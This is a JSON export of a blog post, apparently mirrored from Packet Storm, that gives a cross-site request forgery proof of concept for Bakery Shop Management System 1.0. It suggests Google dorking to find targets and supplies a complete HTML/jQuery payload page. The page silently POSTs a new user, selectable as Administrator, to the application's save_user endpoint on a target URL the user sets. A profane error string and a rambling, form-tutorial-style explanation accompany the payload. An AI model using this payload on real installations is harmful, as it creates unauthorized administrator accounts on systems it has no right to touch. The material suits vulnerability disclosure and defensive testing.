{"id":58856,"date":"2024-08-13T19:59:57","date_gmt":"2024-08-13T16:59:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180072\/bsms10-xsrf.txt"},"modified":"2024-08-13T19:59:57","modified_gmt":"2024-08-13T16:59:57","slug":"bakery-shop-management-system-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/bakery-shop-management-system-1-0-cross-site-request-forgery\/","title":{"rendered":"Bakery Shop Management System 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Bakery Shop Management System 1.0 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/bsms_0.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This HTML code :<\/p>\n<p>represents a simple user form that collects data for a user (like a username, password, and user type) and submits it to a server using AJAX. <br \/>Let me break down the key components of this code:<\/p>\n[+] HTML Structure<\/p>\n<p>Container &amp; Form:<\/p>\n<p>&lt;div class=&#8221;container-fluid&#8221;&gt;: This div serves as a container for the form and ensures that it will take up the full width of its parent container.<br \/>&lt;form action=&#8221;&#8221; id=&#8221;user-form&#8221;&gt;: This form collects user data. The action attribute is empty, <br \/>meaning the form doesn&#8217;t submit in the traditional way (it&#8217;s handled via JavaScript instead).<\/p>\n<p>Hidden Input:<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;id&#8221; value=&#8221;&#8221;&gt;: This hidden input is used to store the user ID. It might be used for editing an existing user where the user ID <br \/>is sent back to the server but isn&#8217;t visible to the user.<\/p>\n[+] Form Fields:<\/p>\n<p>Full Name:<\/p>\n<p>&lt;label for=&#8221;fullname&#8221; class=&#8221;control-label&#8221;&gt;Username&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; name=&#8221;fullname&#8221; id=&#8221;fullname&#8221; required class=&#8221;form-control form-control-sm rounded-0&#8243; value=&#8221;&#8221;&gt;<\/p>\n<p>This field is actually mislabeled\u2014the label says &#8220;Username,&#8221; but the input is for the user&#8217;s full name. <br \/>The input field is styled using Bootstrap classes.<\/p>\n<p>Username:<\/p>\n<p>&lt;label for=&#8221;username&#8221; class=&#8221;control-label&#8221;&gt;Password&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; name=&#8221;username&#8221; id=&#8221;username&#8221; required class=&#8221;form-control form-control-sm rounded-0&#8243; value=&#8221;&#8221;&gt;<\/p>\n[+] Similarly, this field is labeled as &#8220;Password,&#8221; but the input is meant for the username. The input type should be password instead of text for security reasons.<\/p>\n[+] User Type:<\/p>\n<p>&lt;label for=&#8221;type&#8221; class=&#8221;control-label&#8221;&gt;Type&lt;\/label&gt;<br \/>&lt;select name=&#8221;type&#8221; id=&#8221;type&#8221; class=&#8221;form-select form-select-sm rounded-0&#8243; required&gt;<br \/>&lt;option value=&#8221;1&#8243;&gt;Administrator&lt;\/option&gt;<br \/>&lt;option value=&#8221;0&#8243;&gt;Cashier&lt;\/option&gt;<br \/>&lt;\/select&gt;<\/p>\n<p>This dropdown allows the user to select their type\u2014either &#8220;Administrator&#8221; or &#8220;Cashier.&#8221; The selected value (1 or 0) is sent to the server.<\/p>\n[+] Submit Button: <\/p>\n<p>&lt;button type=&#8221;submit&#8221; class=&#8221;btn btn-primary&#8221;&gt;Save&lt;\/button&gt;: This button submits the form. It&#8217;s styled as a primary button using Bootstrap.<\/p>\n[+] JavaScript (jQuery)<\/p>\n<p>Form Submission Handling:<br \/>$(function(){ &#8230; }): This is a jQuery shorthand for $(document).ready(), meaning the function runs after the DOM is fully loaded.<br \/>$(&#8216;#user-form&#8217;).submit(function(e){ &#8230; }): This function handles the form submission. <br \/>The default form submission behavior is prevented (e.preventDefault()), meaning the form doesn&#8217;t reload the page.<\/p>\n<p>Message Handling:<br \/>$(&#8216;.pop_msg&#8217;).remove();: This removes any previous pop-up messages before submitting the form.<br \/>_el.addClass(&#8216;pop_msg&#8217;): Creates a new element for displaying messages (e.g., success or error messages).<\/p>\n<p>AJAX Request:<br \/>$.ajax({ &#8230; }): Sends the form data to the server without reloading the page.<br \/>URL: The form is submitted to http:\/\/127.0.0.1\/bsms\/Actions.php?a=save_user.<br \/>Method: The data is sent using the POST method.<br \/>Data: The form data is serialized (_this.serialize()) and sent as JSON.<br \/>Error Handling:<br \/>If an error occurs, the script logs it to the console and displays an error message (which currently says &#8220;Yes Mother fucker !&#8221;<br \/>\u2014this is an inappropriate message and should be corrected to something like &#8220;An error occurred.&#8221;).<br \/>Success Handling:<br \/>If the submission is successful, the form is reset, a success message is shown, and the page may reload after a short delay.<br \/>If the submission fails, the error message from the server response is displayed.<\/p>\n[+] Line 36 : Set your target url<\/p>\n[+] save payload as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;div class=&#8221;container-fluid&#8221;&gt;<br \/>&lt;form action=&#8221;&#8221; id=&#8221;user-form&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;id&#8221; value=&#8221;&#8221;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label for=&#8221;fullname&#8221; class=&#8221;control-label&#8221;&gt;Username&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; name=&#8221;fullname&#8221; id=&#8221;fullname&#8221; required class=&#8221;form-control form-control-sm rounded-0&#8243; value=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label for=&#8221;username&#8221; class=&#8221;control-label&#8221;&gt;Password&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; name=&#8221;username&#8221; id=&#8221;username&#8221; required class=&#8221;form-control form-control-sm rounded-0&#8243; value=&#8221;&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label for=&#8221;type&#8221; class=&#8221;control-label&#8221;&gt;Type&lt;\/label&gt;<br \/>&lt;select name=&#8221;type&#8221; id=&#8221;type&#8221; class=&#8221;form-select form-select-sm rounded-0&#8243; required&gt;<br \/>&lt;option value=&#8221;1&#8243;&gt;Administrator&lt;\/option&gt;<br \/>&lt;option value=&#8221;0&#8243;&gt;Cashier&lt;\/option&gt;<br \/>&lt;\/select&gt;<br \/>&lt;\/div&gt;<br \/>&lt;button type=&#8221;submit&#8221; class=&#8221;btn btn-primary&#8221;&gt;Save&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/div&gt;<\/p>\n<p>&lt;script src=&#8221;https:\/\/code.jquery.com\/jquery-3.6.0.min.js&#8221;&gt;&lt;\/script&gt;<br \/>&lt;script&gt;<br \/>$(function(){<br \/>$(&#8216;#user-form&#8217;).submit(function(e){<br \/>e.preventDefault();<br \/>$(&#8216;.pop_msg&#8217;).remove(); \/\/ Remove any previous pop-up messages<\/p>\n<p>var _this = $(this);<br \/>var _el = $(&#8216;&lt;div&gt;&#8217;).addClass(&#8216;pop_msg&#8217;);<\/p>\n<p>$(&#8216;#user-form button[type=&#8221;submit&#8221;]&#8217;).attr(&#8216;disabled&#8217;, true).text(&#8216;Submitting form&#8230;&#8217;);<\/p>\n<p>$.ajax({<br \/>url: &#8216;http:\/\/127.0.0.1\/bsms\/Actions.php?a=save_user&#8217;,<br \/>method: &#8216;POST&#8217;,<br \/>data: _this.serialize(),<br \/>dataType: &#8216;JSON&#8217;,<br \/>error: function(err) {<br \/>console.log(err);<br \/>_el.addClass(&#8216;alert alert-danger&#8217;).text(&#8220;Yes Mother fucker !&#8221;);<br \/>_this.prepend(_el);<br \/>_el.show(&#8216;slow&#8217;);<br \/>$(&#8216;#user-form button[type=&#8221;submit&#8221;]&#8217;).attr(&#8216;disabled&#8217;, false).text(&#8216;Save&#8217;);<br \/>},<br \/>success: function(resp) {<br \/>if (resp.status == &#8216;success&#8217;) {<br \/>_el.addClass(&#8216;alert alert-success&#8217;).text(resp.msg);<br \/>_this.prepend(_el);<br \/>_el.show(&#8216;slow&#8217;);<\/p>\n<p>$(&#8216;#user-form&#8217;).get(0).reset(); \/\/ Reset form after successful submission<\/p>\n<p>\/\/ Optional: reload page after a short delay<br \/>setTimeout(function() {<br \/>location.reload();<br \/>}, 2000);<\/p>\n<p>} else {<br \/>_el.addClass(&#8216;alert alert-danger&#8217;).text(resp.msg);<br \/>_this.prepend(_el);<br \/>_el.show(&#8216;slow&#8217;);<br \/>}<\/p>\n<p>$(&#8216;#user-form button[type=&#8221;submit&#8221;]&#8217;).attr(&#8216;disabled&#8217;, false).text(&#8216;Save&#8217;);<br \/>}<br \/>});<br \/>});<br \/>});<\/p>\n<p>&lt;\/script&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Bakery Shop Management System 1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/bsms_0.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This HTML code : represents a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58856","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58856","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58856"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58856\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58856"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58856"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58856"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}